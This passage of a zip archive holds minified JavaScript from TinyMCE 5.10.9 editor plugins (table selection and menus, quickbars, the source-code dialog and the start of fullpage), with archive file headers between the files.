qs(c)&&!l&&g.clearBeforeUpdate(m),Om(c)&&l?P(Fs,a,m,d,xm,r,n,g.selectRange):Dm(c)&&l?P(Fs,a,m,d,Rm,r,n,g.selectRange):Om(c)?P(_s,a,d,xm,r,n,js):Dm(c)?P(_s,a,d,Rm,r,n,Ws):q.none},function(u){function e(e){return function(){return H(e,function(e){return n=e.rows,t=e.cols,r=m,ur(u,n,t,(o=g).firstSelectedSelector,o.lastSelectedSelector).map(function(e){return o.clearBeforeUpdate(r),o.selectRange(r,e.boxes,e.start,e.finish),e.boxes});var n,t,r,o}).fold(function(){return or(m,g.firstSelectedSelector,g.lastSelectedSelector).map(function(e){var n=Om(c)||i.isForward(c)?Kf.after:Kf.before;return a.setRelativeSelection(Kf.on(e.first,0),n(e.table)),g.clear(m),nm(q.none(),!0)})},function(e){return q.some(nm(q.none(),!0))})}}return Om(c)&&l?e([Gs(1,0)]):Dm(c)&&l?e([Gs(-1,0)]):i.isBackward(c)&&l?e([Gs(0,-1),Gs(-1,0)]):i.isForward(c)&&l?e([Gs(0,1),Gs(1,0)]):qs(c)&&!l?T:q.none})()},keyup:function(c,l,a,f,s){return rr(m,g.selectedSelector).fold(function(){var t,r,e,o,u,n=c.raw,i=n.which;return!0===n.shiftKey&&qs(i)?(t=m,r=d,u=g.selectRange,ce(e=l,o=f)&&a===s?q.none():In(e,"td,th",r).bind(function(n){return In(o,"td,th",r).bind(function(e){return om(t,r,n,e,u)})})):q.none()},q.none)}}),S=(r=m=v,o=d=w,u=g=M,i=Us(h),function(e,t){u.clearBeforeUpdate(r),tr(e,t,o).each(function(e){var n=e.boxes.getOr([]);u.selectRange(r,n,e.start,e.finish),i.selectContents(t),i.collapseSelection()})});function T(){return g.clear(m),q.none()}function x(i){p.on(function(e){s.clearBeforeUpdate(l),Hs(i.target,f).each(function(u){tr(e,u,f).each(function(e){var n,t,r,o=e.boxes.getOr([]);1===o.length?(n=o[0],t="false"===pa(n),r=Ln(Pu(i.target),n,ce),t&&r&&(s.selectRange(l,o,n,n),c.selectContents(n))):1<o.length&&(s.selectRange(l,o,e.start,e.finish),c.selectContents(u))})})})}function R(e,n){!0===e.raw.shiftKey&&(n.kill&&e.kill(),n.selection.each(function(e){var n=Yf.relative(e.start,e.finish),t=kl(h,n);I.selection.setRng(t)}))}function D(e){return 0===e.button}I.on("TableSelectorChange",function(e){return S(e.start,e.finish)});var O,A,k=(O=Xc(Ve.fromDom(v)),A=Xc(0),{touchEnd:function(e){var n,t,r=Ve.fromDom(e.target);"td"!==Ye(r)&&"th"!==Ye(r)||(n=O.get(),t=A.get(),ce(n,r)&&e.timeStamp-t<300&&(e.preventDefault(),S(r,r))),O.set(r),A.set(e.timeStamp)}});I.on("dragstart",function(e){y.clearstate()}),I.on("mousedown",function(e){D(e)&&$s(e)&&y.mousedown(ma(e))}),I.on("mouseover",function(e){var n;(void 0===(n=e).buttons||Im.browser.isEdge()&&0===n.buttons||0!=(1&n.buttons))&&$s(e)&&y.mouseover(ma(e))}),I.on("mouseup",function(e){D(e)&&$s(e)&&y.mouseup(ma(e))}),I.on("touchend",k.touchEnd),I.on("keyup",function(e){var n,t,r,o=ma(e);o.raw.shiftKey&&qs(o.raw.which)&&(n=I.selection.getRng(),t=Ve.fromDom(n.startContainer),r=Ve.fromDom(n.endContainer),C.keyup(o,t,n.startOffset,r,n.endOffset).each(function(e){R(o,e)}))}),I.on("keydown",function(e){var n=ma(e);B().each(function(e){return e.hideBars()});var t=I.selection.getRng(),r=Ve.fromDom(t.startContainer),o=Ve.fromDom(t.endContainer),u=Sr(Am,km)(Ve.fromDom(I.selection.getStart()));C.keydown(n,r,t.startOffset,o,t.endOffset,u).each(function(e){R(n,e)}),B().each(function(e){return e.showBars()})}),I.on("NodeChange",function(){var e=I.selection;er(rt,[Ve.fromDom(e.getStart()),Ve.fromDom(e.getEnd())]).fold(function(){return M.clear(v)},E)})}),{clear:M.clear}}function Mm(o,u){function n(n){return d.forall(function(e){return!e[n]})}function e(){return Yl(tu(o),Zo(o)).bind(function(r){return Wn(rt(r),Yl(Ve.fromDom(o.selection.getEnd()),Zo(o)).bind(rt),function(e,n){return ce(e,n)?g(r)?q.some({element:t=r,mergable:q.none(),unmergable:q.none(),selection:[t]}):q.some(ou(u,e,r)):q.none();var t}).bind(S)})}function t(r){return rt(r.element).map(function(e){var t=$t.fromTable(e),n=B(_i(t,r).getOr([]),function(e,n){return n.isLocked&&(e.onAny=!0,0===n.column?e.onFirst=!0:n.column+n.colspan>=t.grid.columns&&(e.onLast=!0)),e},{onAny:!1,onFirst:!1,onLast:!1});return{mergeable:Fi(t,r).isSome(),unmergeable:Hi(t,r).isSome(),locked:n}})}function r(){s.set(Y(e)()),d=s.get().bind(t),A(m.get(),function(e){return e()})}function i(n){return n(),m.set(m.get().concat([n])),function(){m.set(k(m.get(),function(e){return e!==n}))}}function c(n,t){return i(function(){return s.get().fold(function(){n.setDisabled(!0)},function(e){n.setDisabled(t(e))})})}function l(n,t,r){return i(function(){return s.get().fold(function(){n.setDisabled(!0),n.setActive(!1)},function(e){n.setDisabled(t(e)),n.setActive(r(e))})})}function a(n){return d.exists(function(e){return e.locked[n]})}function f(n,t){return function(e){return l(e,function(e){return g(e.element)},function(){return o.queryCommandValue(n)===t})}}var s=Xc(q.none()),m=Xc([]),d=q.none(),g=en("caption"),p=f("mceTableRowType","header"),b=f("mceTableColType","th");return o.on("NodeChange ExecCommand TableSelectorChange",r),{onSetupTable:function(e){return c(e,function(e){return!1})},onSetupCellOrRow:function(e){return c(e,function(e){return g(e.element)})},onSetupColumn:function(n){return function(e){return c(e,function(e){return g(e.element)||a(n)})}},onSetupPasteable:function(n){return function(e){return c(e,function(e){return g(e.element)||n().isNone()})}},onSetupPasteableColumn:function(n,t){return function(e){return c(e,function(e){return g(e.element)||n().isNone()||a(t)})}},onSetupMergeable:function(e){return c(e,function(e){return n("mergeable")})},onSetupUnmergeable:function(e){return c(e,function(e){return n("unmergeable")})},resetTargets:r,onSetupTableWithCaption:function(e){return l(e,v,function(e){return rt(e.element,Zo(o)).exists(function(e){return An(e,"caption").isSome()})})},onSetupTableRowHeaders:p,onSetupTableColumnHeaders:b,targets:s.get}}Yr.add("table",function(c){var e,n,t,r,o,u,i,l,a,f,s,m,d=(e=function(){return Yo(c)},n=function(){return Jl(tu(c),Zo(c))},t=Xl.selectedSelector,{get:function(){return Ur(e(),t).fold(function(){return n().fold($r,Xr)},function(e){return Kr(e)})}}),g=Mm(c,d),p=bi(c),b=Bm(c,p.lazyResize,g),h=Ec(c,b,p.lazyWire),v=(r=Jc(),o=Jc(),{getRows:r.get,setRows:function(e){e.fold(r.clear,r.set),o.clear()},clearRows:r.clear,getColumns:o.get,setColumns:function(e){e.fold(o.clear,o.set),r.clear()},clearColumns:o.clear});return yl(c,h,0,d,v),f=h,s=d,m=Zo(a=c),ae({mceTableRowType:function(){return w(f.getTableRowType)},mceTableCellType:function(){return w(f.getTableCellType)},mceTableColType:function(){return w(f.getTableColType)}},function(e,n){return a.addQueryValueHandler(n,e)}),iu(c,d,h),function(n,e,t,r){function o(e){return function(){return n.execCommand(e)}}function u(e){n.execCommand("mceInsertTable",!1,{rows:e.numRows,columns:e.numColumns})}var i={text:"Table properties",onSetup:t.onSetupTable,onAction:o("mceTableProps")},c={text:"Delete table",icon:"table-delete-table",onSetup:t.onSetupTable,onAction:o("mceTableDelete")};n.ui.registry.addMenuItem("tableinsertrowbefore",{text:"Insert row before",icon:"table-insert-row-above",onAction:o("mceTableInsertRowBefore"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuItem("tableinsertrowafter",{text:"Insert row after",icon:"table-insert-row-after",onAction:o("mceTableInsertRowAfter"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuItem("tabledeleterow",{text:"Delete row",icon:"table-delete-row",onAction:o("mceTableDeleteRow"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuItem("tablerowprops",{text:"Row properties",icon:"table-row-properties",onAction:o("mceTableRowProps"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuItem("tablecutrow",{text:"Cut row",icon:"cut-row",onAction:o("mceTableCutRow"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuItem("tablecopyrow",{text:"Copy row",icon:"duplicate-row",onAction:o("mceTableCopyRow"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuItem("tablepasterowbefore",{text:"Paste row before",icon:"paste-row-before",onAction:o("mceTablePasteRowBefore"),onSetup:t.onSetupPasteable(r.getRows)}),n.ui.registry.addMenuItem("tablepasterowafter",{text:"Paste row after",icon:"paste-row-after",onAction:o("mceTablePasteRowAfter"),onSetup:t.onSetupPasteable(r.getRows)});var l={type:"nestedmenuitem",text:"Row",getSubmenuItems:C("tableinsertrowbefore tableinsertrowafter tabledeleterow tablerowprops | tablecutrow tablecopyrow tablepasterowbefore tablepasterowafter")};n.ui.registry.addMenuItem("tableinsertcolumnbefore",{text:"Insert column before",icon:"table-insert-column-before",onAction:o("mceTableInsertColBefore"),onSetup:t.onSetupColumn("onFirst")}),n.ui.registry.addMenuItem("tableinsertcolumnafter",{text:"Insert column after",icon:"table-insert-column-after",onAction:o("mceTableInsertColAfter"),onSetup:t.onSetupColumn("onLast")}),n.ui.registry.addMenuItem("tabledeletecolumn",{text:"Delete column",icon:"table-delete-column",onAction:o("mceTableDeleteCol"),onSetup:t.onSetupColumn("onAny")}),n.ui.registry.addMenuItem("tablecutcolumn",{text:"Cut column",icon:"cut-column",onAction:o("mceTableCutCol"),onSetup:t.onSetupColumn("onAny")}),n.ui.registry.addMenuItem("tablecopycolumn",{text:"Copy column",icon:"duplicate-column",onAction:o("mceTableCopyCol"),onSetup:t.onSetupColumn("onAny")}),n.ui.registry.addMenuItem("tablepastecolumnbefore",{text:"Paste column before",icon:"paste-column-before",onAction:o("mceTablePasteColBefore"),onSetup:t.onSetupPasteableColumn(r.getColumns,"onFirst")}),n.ui.registry.addMenuItem("tablepastecolumnafter",{text:"Paste column after",icon:"paste-column-after",onAction:o("mceTablePasteColAfter"),onSetup:t.onSetupPasteableColumn(r.getColumns,"onLast")});var a={type:"nestedmenuitem",text:"Column",getSubmenuItems:C("tableinsertcolumnbefore tableinsertcolumnafter tabledeletecolumn | tablecutcolumn tablecopycolumn tablepastecolumnbefore tablepastecolumnafter")};n.ui.registry.addMenuItem("tablecellprops",{text:"Cell properties",icon:"table-cell-properties",onAction:o("mceTableCellProps"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuItem("tablemergecells",{text:"Merge cells",icon:"table-merge-cells",onAction:o("mceTableMergeCells"),onSetup:t.onSetupMergeable}),n.ui.registry.addMenuItem("tablesplitcells",{text:"Split cell",icon:"table-split-cells",onAction:o("mceTableSplitCells"),onSetup:t.onSetupUnmergeable});var f={type:"nestedmenuitem",text:"Cell",getSubmenuItems:C("tablecellprops tablemergecells tablesplitcells")};!1===n.getParam("table_grid",!0,"boolean")?n.ui.registry.addMenuItem("inserttable",{text:"Table",icon:"table",onAction:o("mceInsertTable")}):n.ui.registry.addNestedMenuItem("inserttable",{text:"Table",icon:"table",getSubmenuItems:function(){return[{type:"fancymenuitem",fancytype:"inserttable",onAction:u}]}}),n.ui.registry.addMenuItem("inserttabledialog",{text:"Insert table",icon:"table",onAction:o("mceInsertTable")}),n.ui.registry.addMenuItem("tableprops",i),n.ui.registry.addMenuItem("deletetable",c),n.ui.registry.addNestedMenuItem("row",l),n.ui.registry.addNestedMenuItem("column",a),n.ui.registry.addNestedMenuItem("cell",f),n.ui.registry.addContextMenu("table",{update:function(){return t.resetTargets(),t.targets().fold(C(""),function(e){return"caption"===Ye(e.element)?"tableprops deletetable":"cell row column | advtablesort | tableprops deletetable"})}});var s=Ef(oi(n));0!==s.length&&n.ui.registry.addNestedMenuItem("tableclass",{icon:"table-classes",text:"Table styles",getSubmenuItems:function(){return Mf(n,e,s,"tableclass",function(e){return n.execCommand("mceTableToggleClass",!1,e)})},onSetup:t.onSetupTable});var m=Ef(ri(n));0!==m.length&&n.ui.registry.addNestedMenuItem("tablecellclass",{icon:"table-cell-classes",text:"Cell styles",getSubmenuItems:function(){return Mf(n,e,m,"tablecellclass",function(e){return n.execCommand("mceTableCellToggleClass",!1,e)})},onSetup:t.onSetupCellOrRow}),n.ui.registry.addNestedMenuItem("tablecellvalign",{icon:"vertical-align",text:"Vertical align",getSubmenuItems:function(){return Mf(n,e,Df,"tablecellverticalalign",Zc(n,"vertical-align"))},onSetup:t.onSetupCellOrRow}),n.ui.registry.addNestedMenuItem("tablecellborderwidth",{icon:"border-width",text:"Border width",getSubmenuItems:function(){return Mf(n,e,Xu(n),"tablecellborderwidth",Zc(n,"border-width"))},onSetup:t.onSetupCellOrRow}),n.ui.registry.addNestedMenuItem("tablecellborderstyle",{icon:"border-style",text:"Border style",getSubmenuItems:function(){return Mf(n,e,Yu(n),"tablecellborderstyle",Zc(n,"border-style"))},onSetup:t.onSetupCellOrRow}),n.ui.registry.addToggleMenuItem("tablecaption",{icon:"table-caption",text:"Table caption",onAction:o("mceTableToggleCaption"),onSetup:t.onSetupTableWithCaption}),n.ui.registry.addNestedMenuItem("tablecellbackgroundcolor",{icon:"cell-background-color",text:"Background color",getSubmenuItems:function(){return nl(n,si(n),"background-color")},onSetup:t.onSetupCellOrRow}),n.ui.registry.addNestedMenuItem("tablecellbordercolor",{icon:"cell-border-color",text:"Border color",getSubmenuItems:function(){return nl(n,mi(n),"border-color")},onSetup:t.onSetupCellOrRow}),n.ui.registry.addToggleMenuItem("tablerowheader",{text:"Row header",icon:"table-top-header",onAction:tl(n),onSetup:t.onSetupTableRowHeaders}),n.ui.registry.addToggleMenuItem("tablecolheader",{text:"Column header",icon:"table-left-header",onAction:rl(n),onSetup:t.onSetupTableColumnHeaders})}(c,d,g,v),function(n,e,t,r){function o(e){return function(){return n.execCommand(e)}}n.ui.registry.addMenuButton("table",{tooltip:"Table",icon:"table",fetch:function(e){return e("inserttable | cell row column | advtablesort | tableprops deletetable")}}),n.ui.registry.addButton("tableprops",{tooltip:"Table properties",onAction:o("mceTableProps"),icon:"table",onSetup:t.onSetupTable}),n.ui.registry.addButton("tabledelete",{tooltip:"Delete table",onAction:o("mceTableDelete"),icon:"table-delete-table",onSetup:t.onSetupTable}),n.ui.registry.addButton("tablecellprops",{tooltip:"Cell properties",onAction:o("mceTableCellProps"),icon:"table-cell-properties",onSetup:t.onSetupCellOrRow}),n.ui.registry.addButton("tablemergecells",{tooltip:"Merge cells",onAction:o("mceTableMergeCells"),icon:"table-merge-cells",onSetup:t.onSetupMergeable}),n.ui.registry.addButton("tablesplitcells",{tooltip:"Split cell",onAction:o("mceTableSplitCells"),icon:"table-split-cells",onSetup:t.onSetupUnmergeable}),n.ui.registry.addButton("tableinsertrowbefore",{tooltip:"Insert row before",onAction:o("mceTableInsertRowBefore"),icon:"table-insert-row-above",onSetup:t.onSetupCellOrRow}),n.ui.registry.addButton("tableinsertrowafter",{tooltip:"Insert row after",onAction:o("mceTableInsertRowAfter"),icon:"table-insert-row-after",onSetup:t.onSetupCellOrRow}),n.ui.registry.addButton("tabledeleterow",{tooltip:"Delete row",onAction:o("mceTableDeleteRow"),icon:"table-delete-row",onSetup:t.onSetupCellOrRow}),n.ui.registry.addButton("tablerowprops",{tooltip:"Row properties",onAction:o("mceTableRowProps"),icon:"table-row-properties",onSetup:t.onSetupCellOrRow}),n.ui.registry.addButton("tableinsertcolbefore",{tooltip:"Insert column before",onAction:o("mceTableInsertColBefore"),icon:"table-insert-column-before",onSetup:t.onSetupColumn("onFirst")}),n.ui.registry.addButton("tableinsertcolafter",{tooltip:"Insert column after",onAction:o("mceTableInsertColAfter"),icon:"table-insert-column-after",onSetup:t.onSetupColumn("onLast")}),n.ui.registry.addButton("tabledeletecol",{tooltip:"Delete column",onAction:o("mceTableDeleteCol"),icon:"table-delete-column",onSetup:t.onSetupColumn("onAny")}),n.ui.registry.addButton("tablecutrow",{tooltip:"Cut row",icon:"cut-row",onAction:o("mceTableCutRow"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addButton("tablecopyrow",{tooltip:"Copy row",icon:"duplicate-row",onAction:o("mceTableCopyRow"),onSetup:t.onSetupCellOrRow}),n.ui.registry.addButton("tablepasterowbefore",{tooltip:"Paste row before",icon:"paste-row-before",onAction:o("mceTablePasteRowBefore"),onSetup:t.onSetupPasteable(r.getRows)}),n.ui.registry.addButton("tablepasterowafter",{tooltip:"Paste row after",icon:"paste-row-after",onAction:o("mceTablePasteRowAfter"),onSetup:t.onSetupPasteable(r.getRows)}),n.ui.registry.addButton("tablecutcol",{tooltip:"Cut column",icon:"cut-column",onAction:o("mceTableCutCol"),onSetup:t.onSetupColumn("onAny")}),n.ui.registry.addButton("tablecopycol",{tooltip:"Copy column",icon:"duplicate-column",onAction:o("mceTableCopyCol"),onSetup:t.onSetupColumn("onAny")}),n.ui.registry.addButton("tablepastecolbefore",{tooltip:"Paste column before",icon:"paste-column-before",onAction:o("mceTablePasteColBefore"),onSetup:t.onSetupPasteableColumn(r.getColumns,"onFirst")}),n.ui.registry.addButton("tablepastecolafter",{tooltip:"Paste column after",icon:"paste-column-after",onAction:o("mceTablePasteColAfter"),onSetup:t.onSetupPasteableColumn(r.getColumns,"onLast")}),n.ui.registry.addButton("tableinsertdialog",{tooltip:"Insert table",onAction:o("mceInsertTable"),icon:"table"});var u=Ef(oi(n));0!==u.length&&n.ui.registry.addMenuButton("tableclass",{icon:"table-classes",tooltip:"Table styles",fetch:el(n,e,u,"tableclass",function(e){return n.execCommand("mceTableToggleClass",!1,e)}),onSetup:t.onSetupTable});var i=Ef(ri(n));0!==i.length&&n.ui.registry.addMenuButton("tablecellclass",{icon:"table-cell-classes",tooltip:"Cell styles",fetch:el(n,e,i,"tablecellclass",function(e){return n.execCommand("mceTableCellToggleClass",!1,e)}),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuButton("tablecellvalign",{icon:"vertical-align",tooltip:"Vertical align",fetch:el(n,e,Df,"tablecellverticalalign",Zc(n,"vertical-align")),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuButton("tablecellborderwidth",{icon:"border-width",tooltip:"Border width",fetch:el(n,e,Xu(n),"tablecellborderwidth",Zc(n,"border-width")),onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuButton("tablecellborderstyle",{icon:"border-style",tooltip:"Border style",fetch:el(n,e,Yu(n),"tablecellborderstyle",Zc(n,"border-style")),onSetup:t.onSetupCellOrRow}),n.ui.registry.addToggleButton("tablecaption",{tooltip:"Table caption",onAction:o("mceTableToggleCaption"),icon:"table-caption",onSetup:t.onSetupTableWithCaption}),n.ui.registry.addMenuButton("tablecellbackgroundcolor",{icon:"cell-background-color",tooltip:"Background color",fetch:function(e){return e(nl(n,si(n),"background-color"))},onSetup:t.onSetupCellOrRow}),n.ui.registry.addMenuButton("tablecellbordercolor",{icon:"cell-border-color",tooltip:"Border color",fetch:function(e){return e(nl(n,mi(n),"border-color"))},onSetup:t.onSetupCellOrRow}),n.ui.registry.addToggleButton("tablerowheader",{tooltip:"Row header",icon:"table-top-header",onAction:tl(n),onSetup:t.onSetupTableRowHeaders}),n.ui.registry.addToggleButton("tablecolheader",{tooltip:"Column header",icon:"table-left-header",onAction:rl(n),onSetup:t.onSetupTableColumnHeaders})}(c,d,g,v),0<(l=(i=c).getParam("table_toolbar","tableprops tabledelete | tableinsertrowbefore tableinsertrowafter tabledeleterow | tableinsertcolbefore tableinsertcolafter tabledeletecol")).length&&i.ui.registry.addContextToolbar("table",{predicate:function(e){return i.dom.is(e,"table")&&i.getBody().contains(e)},items:l,scope:"node",position:"node"}),c.on("PreInit",function(){c.serializer.addTempAttr(Xl.firstSelected),c.serializer.addTempAttr(Xl.lastSelected),c.formatter.register(Hf)}),c.getParam("table_tab_navigation",!0,"boolean")&&c.on("keydown",function(e){var n,t,r,o,u=c,i=b;(n=e).keyCode===Qs.TAB&&(t=Yo(u),r=function(e){var n=Ye(e);return ce(e,t)||y(em,n)},o=u.selection.getRng(),et(Ve.fromDom(n.shiftKey?o.startContainer:o.endContainer),r).each(function(e){n.preventDefault(),rt(e,r).each(i.clear),u.selection.collapse(n.shiftKey),(n.shiftKey?function(e,n,t){return Zs(e,n,(o=Nu,Cl(r=t,void 0).fold(function(){return qf.none()},function(e){return Uf(e.all,r,e.index,-1,o)})));var r,o}:vs)(u,r,e).each(function(e){u.selection.setRng(e)})}))}),c.on("remove",function(){p.destroy()}),{insertTable:(u=c,function(e,n,t){var r=Lc(u,n,e,t=void 0===t?{}:t,"Invalid values for insertTable - rows and columns values are required to insert a table.");return u.undoManager.add(),r}),setClipboardRows:Wc(v.setRows),getClipboardRows:_c(v.getRows),setClipboardCols:Wc(v.setColumns),getClipboardCols:_c(v.getColumns),resizeHandler:p,selectionTargets:g};function w(r){return Jl(tu(a)).bind(function(t){return rt(t,m).map(function(e){var n=ou(s,e,t);return r(e,n)})}).getOr("")}})}();PK
h�\���
��2program/js/tinymce/plugins/quickbars/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function n(a){a.ui.registry.addButton("quickimage",{icon:"image",tooltip:"Insert image",onAction:function(){var i=a;new s(function(n){var r=document.createElement("input");r.type="file",r.accept="image/*",r.style.position="fixed",r.style.left="0",r.style.top="0",r.style.opacity="0.001",document.body.appendChild(r),r.addEventListener("change",function(t){n(Array.prototype.slice.call(t.target.files))});var o=function(t){function e(){n([]),r.parentNode.removeChild(r)}d.os.isAndroid()&&"remove"!==t.type?f.setEditorTimeout(i,e,0):e(),i.off("focusin remove",o)};i.on("focusin remove",o),r.click()}).then(function(t){var c,n;0<t.length&&(c=t[0],n=c,new s(function(t){var e=new FileReader;e.onloadend=function(){t(e.result.split(",")[1])},e.readAsDataURL(n)}).then(function(t){var e,n,r,o,i,u;n=t,r=c,i=(e=a).editorUpload.blobCache,u=i.create((o=(new Date).getTime(),"mceu_"+Math.floor(1e9*Math.random())+ ++l+String(o)),r,n),i.add(u),e.insertContent(e.dom.createHTML("img",{src:u.blobUri()}))}))})}}),a.ui.registry.addButton("quicktable",{icon:"table",tooltip:"Insert table",onAction:function(){var t,n;(t=a).plugins.table?t.plugins.table.insertTable(2,2):(n=t).undoManager.transact(function(){n.insertContent(function(){var t='<table data-mce-id="mce" style="width: 100%">';t+="<tbody>";for(var e=0;e<2;e++){t+="<tr>";for(var n=0;n<2;n++)t+="<td><br></td>";t+="</tr>"}return(t+="</tbody>")+"</table>"}());var t=n.dom.select("*[data-mce-id]")[0];t.removeAttribute("data-mce-id");var e=n.dom.select("td,th",t);n.selection.setCursorLocation(e[0],0)})}})}function t(r){return function(t){return n=typeof(e=t),(null===e?"null":"object"==n&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":n)===r;var e,n}}function e(e){return function(t){return typeof t===e}}function i(t){return function(){return t}}function r(t){return t}function o(){return y}var u,c=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=0,s=tinymce.util.Tools.resolve("tinymce.util.Promise"),d=tinymce.util.Tools.resolve("tinymce.Env"),f=tinymce.util.Tools.resolve("tinymce.util.Delay"),a=t("string"),m=t("object"),g=t("array"),v=e("boolean"),h=e("function"),p=i(!1),b=i(!(u=void 0)),y={fold:function(t,e){return t()},isSome:p,isNone:b,getOr:r,getOrThunk:k,getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:r,orThunk:k,map:o,each:function(){},bind:o,exists:p,forall:b,filter:function(){return y},toArray:function(){return[]},toString:i("none()")};function k(t){return t()}var w=function(n){function t(){return o}function e(t){return t(n)}var r=i(n),o={fold:function(t,e){return e(n)},isSome:b,isNone:p,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:t,orThunk:t,map:function(t){return w(t(n))},each:function(t){t(n)},bind:e,exists:e,forall:e,filter:function(t){return t(n)?o:y},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return o},T={some:w,none:o,from:function(t){return null==t?y:w(t)}};function E(t,e,n,r,o){return t(n,r)?T.some(n):h(o)&&o(n)?T.none():e(n,r,o)}function N(t,e){var n=t.dom;if(1!==n.nodeType)return!1;var r=n;if(void 0!==r.matches)return r.matches(e);if(void 0!==r.msMatchesSelector)return r.msMatchesSelector(e);if(void 0!==r.webkitMatchesSelector)return r.webkitMatchesSelector(e);if(void 0!==r.mozMatchesSelector)return r.mozMatchesSelector(e);throw new Error("Browser lacks native selectors")}function M(t){if(null==t)throw new Error("Node cannot be null or undefined");return{dom:t}}var S={fromHtml:function(t,e){var n=(e||document).createElement("div");if(n.innerHTML=t,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",t),new Error("HTML must have a single root node");return M(n.childNodes[0])},fromTag:function(t,e){var n=(e||document).createElement(t);return M(n)},fromText:function(t,e){var n=(e||document).createTextNode(t);return M(n)},fromDom:M,fromPoint:function(t,e,n){return T.from(t.dom.elementFromPoint(e,n)).map(M)}};function C(t,e,n){for(var r=t.dom,o=h(n)?n:p;r.parentNode;){var r=r.parentNode,i=S.fromDom(r);if(e(i))return T.some(i);if(o(i))break}return T.none()}function O(t,e,n){return C(t,function(t){return N(t,e)},n)}"undefined"!=typeof window||Function("return this;")();var q,x=(q=a,function(t,e,n){return function(){if(!q(n))throw new Error("Default value doesn't match requested type.")}(),function(t,e){if(g(t)||m(t))throw new Error("expected a string but found: "+t);return u===t?e:v(t)?!1===t?"":e:t}(t.getParam(e,n),n)});c.add("quickbars",function(t){var o,e;n(t),0<(e=x(o=t,"quickbars_insert_toolbar","quickimage quicktable")).trim().length&&o.ui.registry.addContextToolbar("quickblock",{predicate:function(t){function e(t){return t.dom===o.getBody()}var n=S.fromDom(t),r=o.schema.getTextBlockElements();return E(N,O,n,"table",e).fold(function(){return E(function(t,e){return e(t)},C,n,function(t){return t.dom.nodeName.toLowerCase()in r&&o.dom.isEmpty(t.dom)},e).isSome()},p)},items:e,position:"line",scope:"editor"}),function(e){function n(t){return"IMG"===t.nodeName||"FIGURE"===t.nodeName&&/image/i.test(t.className)}var t=x(e,"quickbars_image_toolbar","alignleft aligncenter alignright");0<t.trim().length&&e.ui.registry.addContextToolbar("imageselection",{predicate:n,items:t,position:"node"});var r=x(e,"quickbars_selection_toolbar","bold italic | quicklink h2 h3 blockquote");0<r.trim().length&&e.ui.registry.addContextToolbar("textselection",{predicate:function(t){return!n(t)&&!e.selection.isCollapsed()&&"false"!==e.dom.getContentEditableParent(t)},items:r,position:"selection",scope:"editor"})}(t)})}();PK
h�\wAy�ll-program/js/tinymce/plugins/code/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";tinymce.util.Tools.resolve("tinymce.PluginManager").add("code",function(e){var t,o;function n(){return o.execCommand("mceCodeEditor")}return(t=e).addCommand("mceCodeEditor",function(){var n,e;e=(n=t).getContent({source_view:!0}),n.windowManager.open({title:"Source Code",size:"large",body:{type:"panel",items:[{type:"textarea",name:"code"}]},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:{code:e},onSubmit:function(e){var t=n,o=e.getData().code;t.focus(),t.undoManager.transact(function(){t.setContent(o)}),t.selection.setCursorLocation(),t.nodeChanged(),e.close()}})}),(o=e).ui.registry.addButton("code",{icon:"sourcecode",tooltip:"Source code",onAction:n}),o.ui.registry.addMenuItem("code",{icon:"sourcecode",text:"Source code",onAction:n}),{}})}();PK
h�\sHg���1program/js/tinymce/plugins/fullpage/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function i(e){var t=e;return{get:function(){return t},set:function(e){t=e}}}function _(e){return e.getParam("fullpage_hide_in_source_view")}function b(e){return e.getParam("fullpage_default_encoding")}function x(e){return e.getParam("fullpage_default_font_family")}function k(e){return e.getParam("fullpage_default_font_size")}function C(e,t){return n({validate:!1,root_name:"#document"},e.schema).parse(t,{format:"xhtml"})}function c(u,m){u.addCommand("mceFullPageProperties",function(){var l,i,o,e,t,n,r,a,c,s;function d(e,t){return e.attr(t)||""}t=l=u,n=(i=m).get(),c=C(t,n),(s={}).fontface=x(t),s.fontsize=k(t),7===(r=c.firstChild).type&&(s.xml_pi=!0,(a=/encoding="([^"]+)"/.exec(r.value))&&(s.docencoding=a[1])),(r=c.getAll("#doctype")[0])&&(s.doctype="<!DOCTYPE"+r.value+">"),(r=c.getAll("title")[0])&&r.firstChild&&(s.title=r.firstChild.value),w.each(c.getAll("meta"),function(e){var 